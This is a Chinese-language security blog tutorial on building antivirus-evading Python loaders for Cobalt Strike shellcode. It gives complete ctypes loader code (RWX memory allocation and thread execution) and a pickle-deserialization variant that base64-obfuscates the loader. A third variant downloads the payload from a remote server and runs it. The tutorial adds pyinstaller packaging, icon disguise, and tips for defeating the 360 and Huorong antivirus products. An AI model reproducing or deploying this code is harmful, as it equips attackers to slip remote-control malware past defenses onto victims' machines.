使用python加载shellcode免杀上线cs

admin 2023年2月12日11:55:42评论149 views字数 8592阅读28分38秒阅读模式

使用python加载shellcode免杀上线cs

Part1基本概念

0x01:什么是免杀?

免杀就是反病毒技术,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以对初学者来说难度会很高,初学者不会或没能力接触这技术的深层内容。 其内容基本上都是修改WebShell、病毒、木马、远控等等的内容,改变他们的特征码,从而躲避了杀毒软件的查杀。 免杀好比就是一次战役,你可以当间谍,也可以当敢死队,只要你不被结束进程,被删除木马等文件就行。

0x02:免杀的几种常用方式

特征码免杀(消除shellcode和硬编码字符串)花指令免杀(垃圾指令免杀)加壳免杀内存免杀分离免杀资源修改白名单免杀.......

0x03:什么是shellcode?

shellcode是一小段代码,可以用于软件漏洞利用的载荷。Shellcode是溢出程序和蠕虫病毒的核心,它通常以利用漏洞获取shell为目的,所以得名shellcode。Shellcode通常是以机器码形式编写的,需要将它存放到内存中并执行。

0x04:需要用到的一些东西

python ctypes模块:ctypes是Python的外部函数库。它提供了与C兼容的数据类型,并允许调用DLL或共享库中的函数。具体可参考文末的官方文档:https://docs.python.org/zh-cn/3/library/ctypes.html?highlight=ctypes#module-ctypes


python pyinstaller打包模块:PyInstaller是一个能将Python程序转换成单个可执行文件的程序,操作系统支持Windows, Linux, Mac OS X, Solaris和AIX。本次使用的打包命令为:pyinstaller -F -w py文件

dll动态链接库:动态链接库(Dynamic Link Library 或者 Dynamic-link Library,缩写为 DLL),是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。这些库函数的扩展名是 ”.dll"、".ocx"(包含ActiveX控制的库)或者 ".drv"(旧式的系统驱动程序)。


Part2实现过程

0x04:python实现shellcode加载

加载过程:

直接加载:  直接将shellcode加载到内存中并执行  申请内存空间shellcode复制到内存空间中  创建线程执行shellcode并等待线程结束
反序列化加载:makerloader的代码进行编码、变形loader代码封装到类中,在类中定义魔法函数,通过执行exec来执行loader代码 对类进行序列化exp 将类反序列化,执行其中的魔法函数
远程读取: 读取远程服务器中的shellcode.txt(存放的是经过maker.py制作好的shellcode

直接加载shellcode执行:

首先生成shellcode(这里以cs的shellcode为例)

使用python加载shellcode免杀上线cs

使用python加载shellcode免杀上线cs

靶机为64位系统的要勾选Use x64 payload

打开python文件可以获得到里面的shellcode

shellcode内容为:xfcx48x83xe4xf0xe8.........x38x00x00x00x00x00

将生成的shellcode放到编写的loader中,将shellcode转成btye数组传给shellCodeLoader函数

shellCodeLoad(bytearray(        b'xfcx48x83xe4xf0xe8.........x38x00x00x00x00x00'))

默认为32位系统,如果为64位系统需要添加以下代码

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

VirtualAlloc函数:

LPVOID VirtualAlloc{LPVOID lpAddress, #要分配的内存区域的地址DWORD dwSize,      #分配的大小DWORD flAllocationType, #分配的类型DWORD flProtect     #该内存的初始保护属性};

调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存空间

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                             ctypes.c_int(len(shellcode)),                                             ctypes.c_int(0x3000),                                              ctypes.c_int(0x40))

RtlMoveMemory函数:

RtlMoveMemory(Destination,Source,Length);Destination :指向移动目的地址的指针。Source :指向要复制的内存地址的指针。Length :指定要复制的字节数。

调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中

#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),                                     buf,                                     ctypes.c_int(len(shellcode)))

CreateThread函数:

HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针LPVOID lpParameter,          #向线程函数传递的参数DWORD dwCreationFlags,       #线程创建属性LPDWORD lpThreadId           #保存新线程的id)

利用CreateThread函数创建线程并执行shellcode

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                                                 ctypes.c_int(0),                                                 ctypes.c_uint64(ptr),                                                 ctypes.c_int(0),                                                 ctypes.c_int(0),                                                 ctypes.pointer(ctypes.c_int(0)))

WaitForSingleObject函数:

DWORD WINAPI WaitForSingleObject(__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象__in DWORD dwMilliseconds  #定时时间间隔);

利用WaitForSingleObject函数等待线程结束

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),                                           ctypes.c_int(-1))

完整代码:

import ctypes# shellcode加载def shellCodeLoad(shellcode):    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存空间 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中 buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
#利用CreateThread函数创建线程并执行shellcode handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
#利用WaitForSingleObject函数等待线程结束 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
if __name__ == "__main__": shellCodeLoad(bytearray( b'xfcx48x83xe4xf0xe8xc8x00x00x00x41..........x32x38x00x00x00x00x00'))

运行上线cs

使用python加载shellcode免杀上线cs

反序列化加载:

对shellcode进行简单的base64加密

XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjOFx4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTB...............lXHgzOFx4MzBceDJlXHgzMVx4MzJceDM4XHgwMFx4MDBceDAwXHgwMFx4MDA=

对加密后的shellcode进行解密

shellcode = base64.b64decode(shellcode)

使用三引号将loader内容转为字符串类型,里面的shellcode一定要先加密,不加密直接用16进制的话会导致错误,而且如果只在loader使用import ctypes引用模块,后面打包成exe文件会报错

loader = '''# 经过base64加密的shellcodeshellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjOFx4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTB...............lXHgzOFx4MzBceDJlXHgzMVx4MzJceDM4XHgwMFx4MDBceDAwXHgwMFx4MDA="
# 解密shellcodeshellcode = base64.b64decode(shellcode)
# 将shellcode从str转换为bytesshellcode = codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存空间ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
#利用CreateThread函数创建线程并执行shellcodehandle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
#利用WaitForSingleObject函数等待线程结束ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))'''

对loader代码进行base64加密

loader_b64 = base64.b64encode(loader.encode('utf-8'))

定义一个类,用来序列化类,类中的执行exec方法,exec方法执行前面转成字符串的loader函数,当被反序列化时就会执行__reduce__这个魔法函数

class A(object):    def __reduce__(self):        # 当反序列化时会执行exec,exec在执行loader中的代码        return (exec,(base64.b64decode(loader_b64),))

将该类进行序列化并进行base64加密

# 先序列化类再对序列化内容进行base64加密txt_b64 = str(base64.b64encode(pickle.dumps(A())))print(txt_b64)

先进行base64解码再进行反序列化,并执行loader代码

# base64解码再进行反序列化,并执行loader函数shellcode = base64.b64decode(txt_b64)pickle.loads(shellcode)

完整代码:

maker.py

import base64import pickleimport codecsimport ctypes
loader = '''# 经过base64加密的shellcodeshellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhj.................JlXHgzMVx4MzJceDM4XHgwMFx4MDBceDAwXHgwMFx4MDA="# 解密shellcodeshellcode = base64.b64decode(shellcode)# 将shellcode从str转换为bytesshellcode = codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存空间ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode复制到申请的内存空间中buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
#利用CreateThread函数创建线程并执行shellcodehandle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
#利用WaitForSingleObject函数等待线程结束ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))'''loader_b64 = base64.b64encode(loader.encode('utf-8'))# 要序列化的类class A(object): def __reduce__(self): # 当反序列化时会执行exec,exec在执行loader中的代码 return (exec,(base64.b64decode(loader_b64),))
# 先序列化类在对序列化内容进行base64加密txt_b64 = str(base64.b64encode(pickle.dumps(A())))print(txt_b64)

exp_bendi.py

import requestsimport base64import urllibimport pickleimport codecsimport ctypes
# 本地读取序列化内容txt = b'gASV6RgAAAAAAACMCGJ1aWx0aW5zl................XBlcy5jX2ludCgtMSkpCpSFlFKULg=='
# 对获取到的base64编码的loader进行解码shellcode = base64.b64decode(txt)
# 反序列化解密后的loader,并执行loader函数pickle.loads(shellcode)

打包成exe(可以自行添加图标进行混淆视野)

pyinstall -F -w exp_bendi.py

生成exe程序后,打开360杀毒、360安全卫士、火绒后进行运行前查杀以及运行后的杀毒自检测后进行cs上线

使用python加载shellcode免杀上线cs

使用python加载shellcode免杀上线cs

发现已经成功躲避杀软查杀成功上线(关闭上传云和用户体验计划后运行,否则将会在很短一段时间内特征就会被标记,从而导致免杀的失效)

远程请求反序列化的shellcode加载:

将上面生成的txt_b64存放到服务器中的shellcode.txt文件中

gASV6RgAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFjKGAAACiMg57uP6L+HYmFzZTY05Yqg5a+G55qEc2hlbGxjb2............ICAgICAgIGN0eXBlcy5jX2ludCgtMSkpCpSFlFKULg==

远程读取服务器中shellcode.txt内容,如果要用request获取相应包内容的话需要将str类型转换成bytes类型

# 远程读取服务器shellcode.txt内容try:    txt = urllib.request.urlopen('http://192.168.80.135/shellcode.txt').read()except Exception as e:    pass

对获取到的txt进行base64解码和反序列化

# 对获取到的base64编码的loader进行解码shellcode = base64.b64decode(txt)
# 反序列化解密后的loader,并执行loader函数pickle.loads(shellcode)

完整代码:

maker.py与上面的maker.py相同

exp.py

import requestsimport base64import urllibimport pickleimport codecsimport ctypes
# 远程读取服务器shellcode.txt内容try: txt = urllib.request.urlopen('http://192.168.80.135/shellcode.txt').read()except Exception as e: pass
# 对获取到的base64编码的loader进行解码shellcode = base64.b64decode(txt)
# 反序列化解密后的loader,并执行loader函数pickle.loads(shellcode)

打包成exe文件(可以自行添加图标进行混淆视野

pyinstall -F -w exp.py

生成exe程序后,打开360杀毒360安全卫士、火绒进行运行前查杀以及运行后的杀毒检测进行cs上线

使用python加载shellcode免杀上线cs

使用python加载shellcode免杀上线cs

发现也是已经成功躲避了杀软查杀成功上线(关闭上传云和用户体验计划后运行,否则将会在很短一段时间内特征就会被标记,从而导致免杀的失效

“D&X 安全实验室”
专注渗透测试技术


全球最新网络攻击技术


使用python加载shellcode免杀上线cs

原文始发于微信公众号(DX安全实验室):使用python加载shellcode免杀上线cs

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月12日11:55:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用python加载shellcode免杀上线cshttps://cn-sec.com/archives/1549736.html

发表评论

匿名网友 填写信息